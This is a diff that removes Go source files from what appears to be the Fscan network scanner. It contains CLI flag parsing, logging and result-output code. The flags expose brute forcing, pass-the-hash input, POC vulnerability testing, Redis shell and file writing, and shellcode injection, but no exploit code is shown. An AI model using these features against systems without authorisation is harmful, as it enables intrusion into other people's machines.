ShowScanPlan bool // 是否显示扫描计划详情
|
||||
SlowLogOutput bool // 是否启用慢速日志输出
|
||||
Language string // 界面语言设置
|
||||
ApiAddr string // API地址
|
||||
SecretKey string // 加密密钥
|
||||
)
|
||||
|
||||
var (
|
||||
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
|
||||
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
|
||||
DnsLog bool
|
||||
PocNum int
|
||||
PocFull bool
|
||||
Cookie string
|
||||
)
|
||||
-310
@@ -1,310 +0,0 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/fatih/color"
|
||||
)
|
||||
|
||||
func Banner() {
|
||||
// 定义暗绿色系
|
||||
colors := []color.Attribute{
|
||||
color.FgGreen, // 基础绿
|
||||
color.FgHiGreen, // 亮绿
|
||||
}
|
||||
|
||||
lines := []string{
|
||||
" ___ _ ",
|
||||
" / _ \\ ___ ___ _ __ __ _ ___| | __ ",
|
||||
" / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /",
|
||||
"/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ",
|
||||
"\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ",
|
||||
}
|
||||
|
||||
// 获取最长行的长度
|
||||
maxLength := 0
|
||||
for _, line := range lines {
|
||||
if len(line) > maxLength {
|
||||
maxLength = len(line)
|
||||
}
|
||||
}
|
||||
|
||||
// 创建边框
|
||||
topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐"
|
||||
bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘"
|
||||
|
||||
// 打印banner
|
||||
fmt.Println(topBorder)
|
||||
|
||||
for lineNum, line := range lines {
|
||||
fmt.Print("│ ")
|
||||
// 使用对应的颜色打印每个字符
|
||||
c := color.New(colors[lineNum%2])
|
||||
c.Print(line)
|
||||
// 补齐空格
|
||||
padding := maxLength - len(line)
|
||||
fmt.Printf("%s │\n", strings.Repeat(" ", padding))
|
||||
}
|
||||
|
||||
fmt.Println(bottomBorder)
|
||||
|
||||
// 打印版本信息
|
||||
c := color.New(colors[1])
|
||||
c.Printf(" Fscan Version: %s\n\n", version)
|
||||
}
|
||||
|
||||
// Flag 解析命令行参数并配置扫描选项
|
||||
func Flag(Info *HostInfo) {
|
||||
Banner()
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 目标配置参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&Info.Host, "h", "", GetText("flag_host"))
|
||||
flag.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts"))
|
||||
flag.StringVar(&Ports, "p", MainPorts, GetText("flag_ports"))
|
||||
flag.StringVar(&ExcludePorts, "ep", "", GetText("flag_exclude_ports"))
|
||||
flag.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file"))
|
||||
flag.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 扫描控制参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&ScanMode, "m", "all", GetText("flag_scan_mode"))
|
||||
flag.IntVar(&ThreadNum, "t", 600, GetText("flag_thread_num"))
|
||||
flag.Int64Var(&Timeout, "time", 3, GetText("flag_timeout"))
|
||||
flag.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num"))
|
||||
flag.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout"))
|
||||
flag.IntVar(&LiveTop, "top", 10, GetText("flag_live_top"))
|
||||
flag.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping"))
|
||||
flag.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping"))
|
||||
flag.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint"))
|
||||
flag.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 认证与凭据参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&Username, "user", "", GetText("flag_username"))
|
||||
flag.StringVar(&Password, "pwd", "", GetText("flag_password"))
|
||||
flag.StringVar(&AddUsers, "usera", "", GetText("flag_add_users"))
|
||||
flag.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords"))
|
||||
flag.StringVar(&UsersFile, "userf", "", GetText("flag_users_file"))
|
||||
flag.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file"))
|
||||
flag.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file"))
|
||||
flag.StringVar(&HashValue, "hash", "", GetText("flag_hash_value"))
|
||||
flag.StringVar(&Domain, "domain", "", GetText("flag_domain")) // SMB扫描用
|
||||
flag.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key")) // SSH扫描用
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// Web扫描参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&TargetURL, "u", "", GetText("flag_target_url"))
|
||||
flag.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file"))
|
||||
flag.StringVar(&Cookie, "cookie", "", GetText("flag_cookie"))
|
||||
flag.Int64Var(&WebTimeout, "wt", 5, GetText("flag_web_timeout"))
|
||||
flag.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy"))
|
||||
flag.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// POC测试参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path"))
|
||||
flag.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name"))
|
||||
flag.BoolVar(&PocFull, "full", false, GetText("flag_poc_full"))
|
||||
flag.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log"))
|
||||
flag.IntVar(&PocNum, "num", 20, GetText("flag_poc_num"))
|
||||
flag.BoolVar(&DisablePocScan, "nopoc", false, GetText("flag_no_poc"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// Redis利用参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file"))
|
||||
flag.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell"))
|
||||
flag.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis"))
|
||||
flag.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path"))
|
||||
flag.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content"))
|
||||
flag.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 暴力破解控制参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute"))
|
||||
flag.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 输出与显示控制参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file"))
|
||||
flag.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format"))
|
||||
flag.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save"))
|
||||
flag.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode"))
|
||||
flag.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color"))
|
||||
flag.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level"))
|
||||
flag.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress"))
|
||||
flag.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan"))
|
||||
flag.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 其他参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode"))
|
||||
flag.StringVar(&Language, "lang", "zh", GetText("flag_language"))
|
||||
flag.StringVar(&ApiAddr, "api", "", GetText("flag_api"))
|
||||
flag.StringVar(&SecretKey, "secret", "", GetText("flag_api_key"))
|
||||
// 解析命令行参数
|
||||
parseCommandLineArgs()
|
||||
|
||||
// 设置语言
|
||||
SetLanguage()
|
||||
}
|
||||
|
||||
// FlagFormRemote 解析远程扫描的命令行参数
|
||||
func FlagFromRemote(info *HostInfo, argString string) error {
|
||||
if strings.TrimSpace(argString) == "" {
|
||||
return fmt.Errorf("参数为空")
|
||||
}
|
||||
|
||||
args, err := parseEnvironmentArgs(argString)
|
||||
if err != nil {
|
||||
return fmt.Errorf("远程参数解析失败: %v", err)
|
||||
}
|
||||
|
||||
// 创建一个新的 FlagSet 用于远程参数解析,避免污染主命令行
|
||||
fs := flag.NewFlagSet("remote", flag.ContinueOnError)
|
||||
|
||||
// 注册需要的远程 flag,注意使用 fs 而非 flag 包的全局变量
|
||||
fs.StringVar(&info.Host, "h", "", GetText("flag_host"))
|
||||
fs.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts"))
|
||||
fs.StringVar(&Ports, "p", MainPorts, GetText("flag_ports"))
|
||||
fs.StringVar(&ExcludePorts, "ep", "", GetText("flag_exclude_ports"))
|
||||
fs.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file"))
|
||||
fs.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file"))
|
||||
|
||||
fs.StringVar(&ScanMode, "m", "all", GetText("flag_scan_mode"))
|
||||
fs.IntVar(&ThreadNum, "t", 10, GetText("flag_thread_num"))
|
||||
fs.Int64Var(&Timeout, "time", 3, GetText("flag_timeout"))
|
||||
fs.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num"))
|
||||
fs.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout"))
|
||||
fs.IntVar(&LiveTop, "top", 10, GetText("flag_live_top"))
|
||||
fs.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping"))
|
||||
fs.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping"))
|
||||
fs.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint"))
|
||||
fs.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode"))
|
||||
|
||||
fs.StringVar(&Username, "user", "", GetText("flag_username"))
|
||||
fs.StringVar(&Password, "pwd", "", GetText("flag_password"))
|
||||
fs.StringVar(&AddUsers, "usera", "", GetText("flag_add_users"))
|
||||
fs.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords"))
|
||||
fs.StringVar(&UsersFile, "userf", "", GetText("flag_users_file"))
|
||||
fs.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file"))
|
||||
fs.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file"))
|
||||
fs.StringVar(&HashValue, "hash", "", GetText("flag_hash_value"))
|
||||
fs.StringVar(&Domain, "domain", "", GetText("flag_domain"))
|
||||
fs.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key"))
|
||||
|
||||
fs.StringVar(&TargetURL, "u", "", GetText("flag_target_url"))
|
||||
fs.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file"))
|
||||
fs.StringVar(&Cookie, "cookie", "", GetText("flag_cookie"))
|
||||
fs.Int64Var(&WebTimeout, "wt", 5, GetText("flag_web_timeout"))
|
||||
fs.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy"))
|
||||
fs.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy"))
|
||||
|
||||
fs.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path"))
|
||||
fs.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name"))
|
||||
fs.BoolVar(&PocFull, "full", false, GetText("flag_poc_full"))
|
||||
fs.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log"))
|
||||
fs.IntVar(&PocNum, "num", 20, GetText("flag_poc_num"))
|
||||
fs.BoolVar(&DisablePocScan, "nopoc", false, GetText("flag_no_poc"))
|
||||
|
||||
fs.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file"))
|
||||
fs.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell"))
|
||||
fs.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis"))
|
||||
fs.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path"))
|
||||
fs.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content"))
|
||||
fs.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file"))
|
||||
|
||||
fs.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute"))
|
||||
fs.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries"))
|
||||
|
||||
fs.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file"))
|
||||
fs.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format"))
|
||||
fs.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save"))
|
||||
fs.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode"))
|
||||
fs.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color"))
|
||||
fs.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level"))
|
||||
fs.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress"))
|
||||
fs.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan"))
|
||||
fs.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output"))
|
||||
|
||||
fs.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode"))
|
||||
fs.StringVar(&Language, "lang", "zh", GetText("flag_language"))
|
||||
|
||||
// 开始解析远程传入的参数
|
||||
if err := fs.Parse(args); err != nil {
|
||||
return fmt.Errorf("远程参数解析失败: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// parseCommandLineArgs 处理来自环境变量和命令行的参数
|
||||
func parseCommandLineArgs() {
|
||||
// 首先检查环境变量中的参数
|
||||
envArgsString := os.Getenv("FS_ARGS")
|
||||
if envArgsString != "" {
|
||||
// 解析环境变量参数 (跨平台支持)
|
||||
envArgs, err := parseEnvironmentArgs(envArgsString)
|
||||
if err == nil && len(envArgs) > 0 {
|
||||
flag.CommandLine.Parse(envArgs)
|
||||
os.Unsetenv("FS_ARGS") // 使用后清除环境变量
|
||||
return
|
||||
}
|
||||
// 如果环境变量解析失败,继续使用命令行参数
|
||||
}
|
||||
|
||||
// 解析命令行参数
|
||||
flag.Parse()
|
||||
}
|
||||
|
||||
// parseEnvironmentArgs 安全地解析环境变量中的参数
|
||||
func parseEnvironmentArgs(argsString string) ([]string, error) {
|
||||
if strings.TrimSpace(argsString) == "" {
|
||||
return nil, fmt.Errorf("empty arguments string")
|
||||
}
|
||||
|
||||
// 使用更安全的参数分割方法
|
||||
var args []string
|
||||
var currentArg strings.Builder
|
||||
inQuote := false
|
||||
quoteChar := ' '
|
||||
|
||||
for _, char := range argsString {
|
||||
switch {
|
||||
case char == '"' || char == '\'':
|
||||
if inQuote && char == quoteChar {
|
||||
inQuote = false
|
||||
} else if !inQuote {
|
||||
inQuote = true
|
||||
quoteChar = char
|
||||
} else {
|
||||
currentArg.WriteRune(char)
|
||||
}
|
||||
case char == ' ' && !inQuote:
|
||||
if currentArg.Len() > 0 {
|
||||
args = append(args, currentArg.String())
|
||||
currentArg.Reset()
|
||||
}
|
||||
default:
|
||||
currentArg.WriteRune(char)
|
||||
}
|
||||
}
|
||||
|
||||
if currentArg.Len() > 0 {
|
||||
args = append(args, currentArg.String())
|
||||
}
|
||||
|
||||
return args, nil
|
||||
}
|
||||
-261
@@ -1,261 +0,0 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/fatih/color"
|
||||
)
|
||||
|
||||
// 全局变量定义
|
||||
var (
|
||||
// 扫描状态管理器,记录最近一次成功和错误的时间
|
||||
status = &ScanStatus{lastSuccess: time.Now(), lastError: time.Now()}
|
||||
|
||||
// Num 表示待处理的总任务数量
|
||||
Num int64
|
||||
// End 表示已经完成的任务数量
|
||||
End int64
|
||||
)
|
||||
|
||||
// ScanStatus 用于记录和管理扫描状态的结构体
|
||||
type ScanStatus struct {
|
||||
mu sync.RWMutex // 读写互斥锁,用于保护并发访问
|
||||
total int64 // 总任务数
|
||||
completed int64 // 已完成任务数
|
||||
lastSuccess time.Time // 最近一次成功的时间
|
||||
lastError time.Time // 最近一次错误的时间
|
||||
}
|
||||
|
||||
// LogEntry 定义单条日志的结构
|
||||
type LogEntry struct {
|
||||
Level string // 日志级别: ERROR/INFO/SUCCESS/DEBUG
|
||||
Time time.Time // 日志时间
|
||||
Content string // 日志内容
|
||||
}
|
||||
|
||||
// 定义系统支持的日志级别常量
|
||||
const (
|
||||
LogLevelAll = "ALL" // 显示所有级别日志
|
||||
LogLevelError = "ERROR" // 仅显示错误日志
|
||||
LogLevelBase = "BASE" // 仅显示信息日志
|
||||
LogLevelInfo = "INFO" // 仅显示信息日志
|
||||
LogLevelSuccess = "SUCCESS" // 仅显示成功日志
|
||||
LogLevelDebug = "DEBUG" // 仅显示调试日志
|
||||
)
|
||||
|
||||
// 日志级别对应的显示颜色映射
|
||||
var logColors = map[string]color.Attribute{
|
||||
LogLevelError: color.FgBlue, // 错误日志显示蓝色
|
||||
LogLevelBase: color.FgYellow, // 信息日志显示黄色
|
||||
LogLevelInfo: color.FgGreen, // 信息日志显示绿色
|
||||
LogLevelSuccess: color.FgRed, // 成功日志显示红色
|
||||
LogLevelDebug: color.FgWhite, // 调试日志显示白色
|
||||
}
|
||||
|
||||
// InitLogger 初始化日志系统
|
||||
func InitLogger() {
|
||||
// 禁用标准日志输出
|
||||
log.SetOutput(io.Discard)
|
||||
}
|
||||
|
||||
var StartTime = time.Now()
|
||||
|
||||
// formatLogMessage 格式化日志消息为标准格式
|
||||
// 返回格式:[时间] [级别] 内容
|
||||
func formatLogMessage(entry *LogEntry) string {
|
||||
elapsed := time.Since(StartTime)
|
||||
var timeStr string
|
||||
|
||||
// 根据时间长短选择合适的单位
|
||||
switch {
|
||||
case elapsed < time.Second:
|
||||
// 毫秒显示,不需要小数
|
||||
timeStr = fmt.Sprintf("%dms", elapsed.Milliseconds())
|
||||
case elapsed < time.Minute:
|
||||
// 秒显示,保留一位小数
|
||||
timeStr = fmt.Sprintf("%.1fs", elapsed.Seconds())
|
||||
case elapsed < time.Hour:
|
||||
// 分钟和秒显示
|
||||
minutes := int(elapsed.Minutes())
|
||||
seconds := int(elapsed.Seconds()) % 60
|
||||
timeStr = fmt.Sprintf("%dm%ds", minutes, seconds)
|
||||
default:
|
||||
// 小时、分钟和秒显示
|
||||
hours := int(elapsed.Hours())
|
||||
minutes := int(elapsed.Minutes()) % 60
|
||||
seconds := int(elapsed.Seconds()) % 60
|
||||
timeStr = fmt.Sprintf("%dh%dm%ds", hours, minutes, seconds)
|
||||
}
|
||||
str := " "
|
||||
switch entry.Level {
|
||||
case LogLevelSuccess:
|
||||
str = "[+]"
|
||||
case LogLevelInfo:
|
||||
str = "[*]"
|
||||
case LogLevelError:
|
||||
str = "[-]"
|
||||
}
|
||||
|
||||
return fmt.Sprintf("[%s] %s %s", timeStr, str, entry.Content)
|
||||
}
|
||||
|
||||
// printLog 根据日志级别打印日志
|
||||
func printLog(entry *LogEntry) {
|
||||
if LogLevel != "debug" && (entry.Level == LogLevelDebug || entry.Level == LogLevelError) {
|
||||
return
|
||||
}
|
||||
|
||||
OutputMutex.Lock()
|
||||
defer OutputMutex.Unlock()
|
||||
|
||||
// 处理进度条
|
||||
clearAndWaitProgress()
|
||||
|
||||
// 打印日志消息
|
||||
logMsg := formatLogMessage(entry)
|
||||
if !NoColor {
|
||||
// 使用彩色输出
|
||||
if colorAttr, ok := logColors[entry.Level]; ok {
|
||||
color.New(colorAttr).Println(logMsg)
|
||||
} else {
|
||||
fmt.Println(logMsg)
|
||||
}
|
||||
} else {
|
||||
// 普通输出
|
||||
fmt.Println(logMsg)
|
||||
}
|
||||
|
||||
// 根据慢速输出设置决定是否添加延迟
|
||||
if SlowLogOutput {
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
}
|
||||
|
||||
// 重新显示进度条
|
||||
if ProgressBar != nil {
|
||||
ProgressBar.RenderBlank()
|
||||
}
|
||||
}
|
||||
|
||||
// clearAndWaitProgress 清除进度条并等待
|
||||
func clearAndWaitProgress() {
|
||||
if ProgressBar != nil {
|
||||
ProgressBar.Clear()
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
// handleLog 统一处理日志的输出
|
||||
func handleLog(entry *LogEntry) {
|
||||
if ProgressBar != nil {
|
||||
ProgressBar.Clear()
|
||||
}
|
||||
|
||||
printLog(entry)
|
||||
|
||||
if ProgressBar != nil {
|
||||
ProgressBar.RenderBlank()
|
||||
}
|
||||
}
|
||||
|
||||
// LogDebug 记录调试日志
|
||||
func LogDebug(msg string) {
|
||||
handleLog(&LogEntry{
|
||||
Level: LogLevelDebug,
|
||||
Time: time.Now(),
|
||||
Content: msg,
|
||||
})
|
||||
}
|
||||
|
||||
// LogBase 记录进度信息
|
||||
func LogBase(msg string) {
|
||||
handleLog(&LogEntry{
|
||||
Level: LogLevelBase,
|
||||
Time: time.Now(),
|
||||
Content: msg,
|
||||
})
|
||||
}
|
||||
|
||||
// LogInfo 记录信息日志
|
||||
// [*]
|
||||
func LogInfo(msg string) {
|
||||
handleLog(&LogEntry{
|
||||
Level: LogLevelInfo,
|
||||
Time: time.Now(),
|
||||
Content: msg,
|
||||
})
|
||||
}
|
||||
|
||||
// LogSuccess 记录成功日志,并更新最后成功时间
|
||||
// [+]
|
||||
func LogSuccess(result string) {
|
||||
entry := &LogEntry{
|
||||
Level: LogLevelSuccess,
|
||||
Time: time.Now(),
|
||||
Content: result,
|
||||
}
|
||||
|
||||
handleLog(entry)
|
||||
|
||||
// 更新最后成功时间
|
||||
status.mu.Lock()
|
||||
status.lastSuccess = time.Now()
|
||||
status.mu.Unlock()
|
||||
}
|
||||
|
||||
// LogError 记录错误日志,自动包含文件名和行号信息
|
||||
func LogError(errMsg string) {
|
||||
// 获取调用者的文件名和行号
|
||||
_, file, line, ok := runtime.Caller(1)
|
||||
if !ok {
|
||||
file = "unknown"
|
||||
line = 0
|
||||
}
|
||||
file = filepath.Base(file)
|
||||
|
||||
errorMsg := fmt.Sprintf("%s:%d - %s", file, line, errMsg)
|
||||
|
||||
entry := &LogEntry{
|
||||
Level: LogLevelError,
|
||||
Time: time.Now(),
|
||||
Content: errorMsg,
|
||||
}
|
||||
|
||||
handleLog(entry)
|
||||
}
|
||||
|
||||
// CheckErrs 检查是否为需要重试的错误
|
||||
func CheckErrs(err error) error {
|
||||
if err == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 已知需要重试的错误列表
|
||||
errs := []string{
|
||||
"closed by the remote host", "too many connections",
|
||||
"EOF", "A connection attempt failed",
|
||||
"established connection failed", "connection attempt failed",
|
||||
"Unable to read", "is not allowed to connect to this",
|
||||
"no pg_hba.conf entry",
|
||||
"No connection could be made",
|
||||
"invalid packet size",
|
||||
"bad connection",
|
||||
}
|
||||
|
||||
// 检查错误是否匹配
|
||||
errLower := strings.ToLower(err.Error())
|
||||
for _, key := range errs {
|
||||
if strings.Contains(errLower, strings.ToLower(key)) {
|
||||
time.Sleep(1 * time.Second)
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,324 +0,0 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"encoding/csv"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// 全局输出管理器
|
||||
var ResultOutput *OutputManager
|
||||
|
||||
// OutputManager 输出管理器结构体
|
||||
type OutputManager struct {
|
||||
mu sync.Mutex
|
||||
outputPath string
|
||||
outputFormat string
|
||||
file *os.File
|
||||
csvWriter *csv.Writer
|
||||
jsonEncoder *json.Encoder
|
||||
isInitialized bool
|
||||
}
|
||||
|
||||
// ResultType 定义结果类型
|
||||
type ResultType string
|
||||
|
||||
const (
|
||||
HOST ResultType = "HOST" // 主机存活
|
||||
PORT ResultType = "PORT" // 端口开放
|
||||
SERVICE ResultType = "SERVICE" // 服务识别
|
||||
VULN ResultType = "VULN" // 漏洞发现
|
||||
)
|
||||
|
||||
// ScanResult 扫描结果结构
|
||||
type ScanResult struct {
|
||||
Time time.Time `json:"time"` // 发现时间
|
||||
Type ResultType `json:"type"` // 结果类型
|
||||
Target string `json:"target"` // 目标(IP/域名/URL)
|
||||
Status string `json:"status"` // 状态描述
|
||||
Details map[string]interface{} `json:"details"` // 详细信息
|
||||
}
|
||||
|
||||
// InitOutput 初始化输出系统
|
||||
func InitOutput() error {
|
||||
LogDebug(GetText("output_init_start"))
|
||||
|
||||
// 验证输出格式
|
||||
switch OutputFormat {
|
||||
case "txt", "json", "csv":
|
||||
// 有效的格式
|
||||
default:
|
||||
return fmt.Errorf(GetText("output_format_invalid"), OutputFormat)
|
||||
}
|
||||
|
||||
// 验证输出路径
|
||||
if Outputfile == "" {
|
||||
return fmt.Errorf(GetText("output_path_empty"))
|
||||
}
|
||||
|
||||
dir := filepath.Dir(Outputfile)
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
LogDebug(GetText("output_create_dir_failed", err))
|
||||
return fmt.Errorf(GetText("output_create_dir_failed", err))
|
||||
}
|
||||
|
||||
if ApiAddr != "" {
|
||||
OutputFormat = "csv"
|
||||
Outputfile = filepath.Join(dir, "fscanapi.csv")
|
||||
Num = 0
|
||||
End = 0
|
||||
if _, err := os.Stat(Outputfile); err == nil {
|
||||
if err := os.Remove(Outputfile); err != nil {
|
||||
return fmt.Errorf(GetText("output_file_remove_failed", err))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
manager := &OutputManager{
|
||||
outputPath: Outputfile,
|
||||
outputFormat: OutputFormat,
|
||||
}
|
||||
|
||||
if err := manager.initialize(); err != nil {
|
||||
LogDebug(GetText("output_init_failed", err))
|
||||
return fmt.Errorf(GetText("output_init_failed", err))
|
||||
}
|
||||
|
||||
ResultOutput = manager
|
||||
LogDebug(GetText("output_init_success"))
|
||||
return nil
|
||||
}
|
||||
|
||||
func (om *OutputManager) initialize() error {
|
||||
om.mu.Lock()
|
||||
defer om.mu.Unlock()
|
||||
|
||||
if om.isInitialized {
|
||||
LogDebug(GetText("output_already_init"))
|
||||
return nil
|
||||
}
|
||||
|
||||
LogDebug(GetText("output_opening_file", om.outputPath))
|
||||
file, err := os.OpenFile(om.outputPath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644)
|
||||
if err != nil {
|
||||
LogDebug(GetText("output_open_file_failed", err))
|
||||
return fmt.Errorf(GetText("output_open_file_failed", err))
|
||||
}
|
||||
om.file = file
|
||||
|
||||
switch om.outputFormat {
|
||||
case "csv":
|
||||
LogDebug(GetText("output_init_csv"))
|
||||
om.csvWriter = csv.NewWriter(file)
|
||||
headers := []string{"Time", "Type", "Target", "Status", "Details"}
|
||||
if err := om.csvWriter.Write(headers); err != nil {
|
||||
LogDebug(GetText("output_write_csv_header_failed", err))
|
||||
file.Close()
|
||||
return fmt.Errorf(GetText("output_write_csv_header_failed", err))
|
||||
}
|
||||
om.csvWriter.Flush()
|
||||
case "json":
|
||||
LogDebug(GetText("output_init_json"))
|
||||
om.jsonEncoder = json.NewEncoder(file)
|
||||
om.jsonEncoder.SetIndent("", " ")
|
||||
case "txt":
|
||||
LogDebug(GetText("output_init_txt"))
|
||||
default:
|
||||
LogDebug(GetText("output_format_invalid", om.outputFormat))
|
||||
}
|
||||
|
||||
om.isInitialized = true
|
||||
LogDebug(GetText("output_init_complete"))
|
||||
return nil
|
||||
}
|
||||
|
||||
// SaveResult 保存扫描结果
|
||||
func SaveResult(result *ScanResult) error {
|
||||
if ResultOutput == nil {
|
||||
LogDebug(GetText("output_not_init"))
|
||||
return fmt.Errorf(GetText("output_not_init"))
|
||||
}
|
||||
|
||||
LogDebug(GetText("output_saving_result", result.Type, result.Target))
|
||||
return ResultOutput.saveResult(result)
|
||||
}
|
||||
func GetResults() ([]*ScanResult, error) {
|
||||
if ResultOutput == nil {
|
||||
return nil, fmt.Errorf(GetText("output_not_init"))
|
||||
}
|
||||
|
||||
if ResultOutput.outputFormat == "csv" {
|
||||
return ResultOutput.getResult()
|
||||
}
|
||||
// 其他格式尚未实现读取支持
|
||||
return nil, fmt.Errorf(GetText("output_format_read_not_supported"))
|
||||
}
|
||||
|
||||
func (om *OutputManager) saveResult(result *ScanResult) error {
|
||||
om.mu.Lock()
|
||||
defer om.mu.Unlock()
|
||||
|
||||
if !om.isInitialized {
|
||||
LogDebug(GetText("output_not_init"))
|
||||
return fmt.Errorf(GetText("output_not_init"))
|
||||
}
|
||||
|
||||
var err error
|
||||
switch om.outputFormat {
|
||||
case "txt":
|
||||
err = om.writeTxt(result)
|
||||
